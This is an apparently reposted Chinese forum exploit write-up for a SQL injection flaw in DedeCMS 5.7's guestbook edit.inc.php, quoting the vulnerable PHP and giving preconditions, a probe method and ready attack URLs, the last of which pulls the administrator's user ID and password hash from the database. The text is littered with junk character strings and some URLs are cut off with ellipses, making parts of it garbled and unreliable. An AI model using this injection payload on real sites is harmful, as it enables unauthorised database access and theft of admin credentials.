影响版本为5.7
% E1 `( K% y9 |# @5 c7 @' F1 x' |( C
漏洞文件edit.inc.php具体代码:
$ }! U# c" U- \. C7 j) d
7 A/ [$ R) f6 K1 {. G< ?php
' D/ [( d& s* u* S: B
9 H C+ B. X: I- f( c A/ B* Y$ Tif(!defined('DEDEINC')) exit('Request Error!'); 4 B. W$ i# G/ _3 V
1 d# S# V8 f& v% K+ {
" u% o3 A" z; ]* L% A
$ C$ d t$ l4 @7 n. k
if(!empty($_COOKIE['GUEST_BOOK_POS'])) $GUEST_BOOK_POS = $_COOKIE['GUEST_BOOK_POS'];
* Y* [7 V! J% f) k6 `9 {; p' h6 k2 h: n, o7 ]$ @6 ]
else $GUEST_BOOK_POS = "guestbook.php"; + }' X' K0 J1 _# T7 z
8 n4 r" K- Z D) @
4 F n0 h( O( N! z$ W2 H7 z
7 J1 g3 W7 B/ e. J5 t1 I5 C$id = intval($id); 2 i! H! x. Z+ a0 C: l
9 j# j' t+ o% {2 V0 i' m) w* a
if(empty($job)) $job='view';
- C! n3 F1 a! a% ~
5 k* J9 N- h" d 4 w O+ v% o2 u. [, N; {7 k' y8 D
: k( A) l7 S# `9 Gif($job=='del' && $g_isadmin) 5 M% b n% I( J3 O1 a3 \- L
7 v' s# ]2 V: a! N* V ?{ 1 p+ i, J8 N) y4 \
3 q# E' h1 D# T: z5 T5 N
$dsql->ExecuteNoneQuery(" DELETE FROM `#@__guestbook` WHERE id='$id' ");
& q5 b' a# e! `7 p0 x- A) I2 w8 E% e
ShowMsg("成功删除一条留言!", $GUEST_BOOK_POS);
: U0 D* @/ Z& Y0 h( ~7 V
0 S" Y1 F/ d) ^/ @/ Eexit(); ' q( u, p. e, I( w6 T
3 h9 w7 g6 L! N- N" L" E0 A, T}
9 v; ^3 l5 L2 l# X3 _$ S" |# Z/ n
: E, ~' B0 _( n: i7 \+ e1 u/ F- Yelse if($job=='check' && $g_isadmin)
2 B) e' { Y5 S2 R! c" ` ~* N8 j4 S1 @) u) q5 S. i
{
: ~: ^* Y& C0 ?) F8 r& ^5 \( Z0 q. h% \/ O* T, g
$dsql->ExecuteNoneQuery(" UPDATE `#@__guestbook` SET ischeck=1 WHERE id='$id' "); ! [+ m/ W' U- y( h: X
1 N- P' m6 t* S1 o$ R
ShowMsg("成功审核一条留言!", $GUEST_BOOK_POS); " T& A3 I: a! p( u5 R# S- x9 x
4 I3 i; [! M) ~- zexit();
" F. F6 T: P% J; q/ A- e4 P
! N5 D- K# X6 q3 b, Z8 E# A}
, M. P! f1 w# t7 y- b/ l" @/ U% |/ g
else if($job=='editok') 6 i8 @8 V; Q. @+ V% K( h% Q" v/ i/ f
# z! P' [9 B5 H; s6 n
{
% U; Q0 B2 V# h8 F" i( o7 }' |
7 N0 p5 s$ K/ K5 N2 i+ k$remsg = trim($remsg); * n! T# D! D! E( S' k
; U/ X, f: G* Z! g9 Xif($remsg!='')
6 Y2 v4 |4 k$ N) ?# }) M5 f2 ^5 w c/ s( \& l
{ 7 |3 Z# x1 C+ b3 O+ z: t
1 g1 m" @" D' e: ?! |% ]
//管理员回复不过滤HTML By:Errorera blog:errs.cc
, ?0 R' t) _/ l3 T. H
: D$ c3 i0 h& L1 ?( O. z0 Zif($g_isadmin) ! i. A. z# p& z. s
4 u# W8 O9 T1 N: c9 }
{
3 K; Y8 a" Q. O; a( `
3 ?& Z! ^& G4 `; ]/ ]0 T% s$msg = "<div class='rebox'>".$msg."</div>\n".$remsg; , d: ]- `+ X* h+ U# l
) [" h. P7 V6 `1 n//$remsg <br /><font color=red>管理员回复:</font> } 6 R' E0 q* g' a0 G3 _
8 n" v9 L9 s1 Y9 ^; @! ?
else + `4 U) ? U% ]+ f6 c
% n2 q2 G( F! M: y; _; l# z{ % `6 Z% _1 z- T) F* K3 t+ i
! q" b+ G$ V- Y+ Y! ]- [/ a$row = $dsql->GetOne("SELECT msg From `#@__guestbook` WHERE id='$id' ");
5 t% w) Z0 \; k; H) J. V3 l
% ]9 z0 b( k% W# B+ I0 G* ]$oldmsg = "<div class='rebox'>".addslashes($row['msg'])."</div>\n"; ) |2 ^ }- l, Y3 j" Z
" j2 b; z5 R' Z4 E# M5 U3 x$remsg = trimMsg(cn_substrR($remsg, 1024), 1);
/ O. _, K" u! v( X7 I. H" j. [- B+ E7 a
$msg = $oldmsg.$remsg; ! n3 g+ J2 A) R+ |) u. k
! Q0 L9 t# C; g2 M! Z
}
0 E! W/ n- @2 A. |) m. j
v# \' }) m9 |5 R9 G: D& F} 4 w- u9 W9 l: M/ s+ F& t" o; a
5 a- ^2 }* O! C6 P5 p//这里没有对$msg过滤,导致可以任意注入了By:Errorera home:www.errs.cc ; L9 |- I+ J# [2 ]. l
?: _9 H+ }0 s: B' H
$dsql->ExecuteNoneQuery("UPDATE `#@__guestbook` SET `msg`='$msg', `posttime`='".time()."' WHERE id='$id' "); & V: @: V* t! T' x# `( ?$ p: w- Q
* H6 [! l' g3 }5 |' w
ShowMsg("成功更改或回复一条留言!", $GUEST_BOOK_POS);
~/ K" d/ |: E$ C$ j% A, Z0 s2 o& g: g8 B+ f, g
exit(); 3 e5 G. r9 m# q3 V; B& Y
$ O! R) ~) o" A% Q! e( j} 0 m B2 q5 i) f2 F1 F5 A
- V/ n; T2 K. X
//home:www.errs.cc r6 Y+ m5 F; F) c- E T
6 e+ ~4 ~3 W h# F+ J3 ~% g9 {! x& wif($g_isadmin)
2 a* Y. S( l0 q, f: G2 L1 d
8 j1 e8 J- x5 L9 T' A; M( E{
- z& R6 L1 m5 u9 ~; r* i9 E# G* L& k0 O( d$ x( J
$row = $dsql->GetOne("SELECT * FROM `#@__guestbook` WHERE id='$id'");
) ?# t: h: M4 a0 A' V% g" ] N/ x9 {6 A/ @ U+ X7 N6 y0 o
require_once(DEDETEMPLATE.'/plus/guestbook-admin.htm'); & u& Q6 V3 q5 }: b- h# z
" S5 i0 J3 L1 V9 b, J} ! e# R, b/ A' s d4 A
% s6 Q, x, n h7 c+ |- Z! h3 I
else
$ l$ B) k2 N r( J. p) R# [8 h, c" ^' M" E" \( h5 k
{
7 Q) v& W% A( f3 y2 n% |" I4 N; O7 L' L
$row = $dsql->GetOne("SELECT id,title FROM `#@__guestbook` WHERE id='$id'");
. b' q5 M$ o3 T) f c" y- D7 b8 g( H1 C6 {
require_once(DEDETEMPLATE.'/plus/guestbook-user.htm'); e, S, u3 _. m* _9 c
4 S/ n: q$ ^6 [: r1 z4 h; S} 漏洞成功需要条件:
1 X D/ i+ b. w& X/ J" @1. php magic_quotes_gpc=off
% Q$ ^! }. M" Y; J( o4 y2.漏洞文件存在 plus/guestbook.php dede_guestbook 表当然也要存在。5 ~8 S- x p' ~) N, B) o3 H
* W; V6 L3 i6 L F怎么判断是否存在漏洞:; ~! v, g0 z5 P+ A1 Y" Y
先打开www.xxx.com/plus/guestbook.php 可以看到别人的留言,6 ]- j7 S4 u5 q r) l
然后鼠标放在 [回复/编辑] 上 可以看到别人留言的ID。那么记下ID
) ^! m7 j0 j+ U3 M1 Q8 @访问:
8 s2 D0 h) _ m8 ?2 W6 O
7 m+ k) h" b8 m" Ywww.xxx.com/plus/guestbook.php?a ... tok&msg=errs.cc存在的留言ID提交后如果是dede5.7版本的话 会出现 “成功更改或回复一条留言” 那就证明修改成功了2 J D4 ^1 u8 {8 v+ T$ R
跳回到www.xxx.com/plus/guestbook.php 看下你改的那条留言ID是否变成了 errs.cc’ 如果变成了 那么证; V/ ]# ?3 N) b1 u! H3 }3 m
0 d$ ~% y1 w* T3 M7 a, X( O$ v1 m
$ X9 d' o5 t* D+ @明漏洞无法利用应为他开启了 php magic_quotes_gpc=off
8 i; m2 V5 [+ p* m0 M9 Z1 E. ]如果没有修改成功,那留言ID的内容还是以前的 那就证明漏洞可以利用。2 i3 \2 [6 O- y4 s* l
那么再次访问
% Z/ j( J) K2 ^' [7 u4 N% u7 \0 k" B! E: s/ C+ H& b0 s
www.xxx.com/plus/guestbook.php?a ... ;job=editok&id=存在的留言ID&msg=',msg=user(),email='然后返回,那条留言ID的内容就直接修改成了mysql 的user().
' C* s& g+ w5 Z& D5 E3 p
, _9 o7 \/ H7 G1 u5 F' c& n大概利用就是这样,大家有兴趣的多研究下!!5 \, u9 x/ P" _. [2 J7 P
1 c/ ~8 k% U9 J: H* x( p7 h# q最后补充下,估计有人会说怎么暴管理后台帐户密码,你自己研究下 会知道的。反正绝对可以暴出来(不可以暴出来我就不会发)!!
" T! e9 ^" F! l" M; D3 u, {9 @
& i9 b% R/ g7 B6 m! a/ q5 pview sourceprint?1 /plus/guestbook.php?action=admin&job=editok&id=146&msg=',msg=@`'`,msg=(selecT CONCAT(userid,0x7c,pwd) fRom `%23@__admin` LIMIT 0,1),email=' |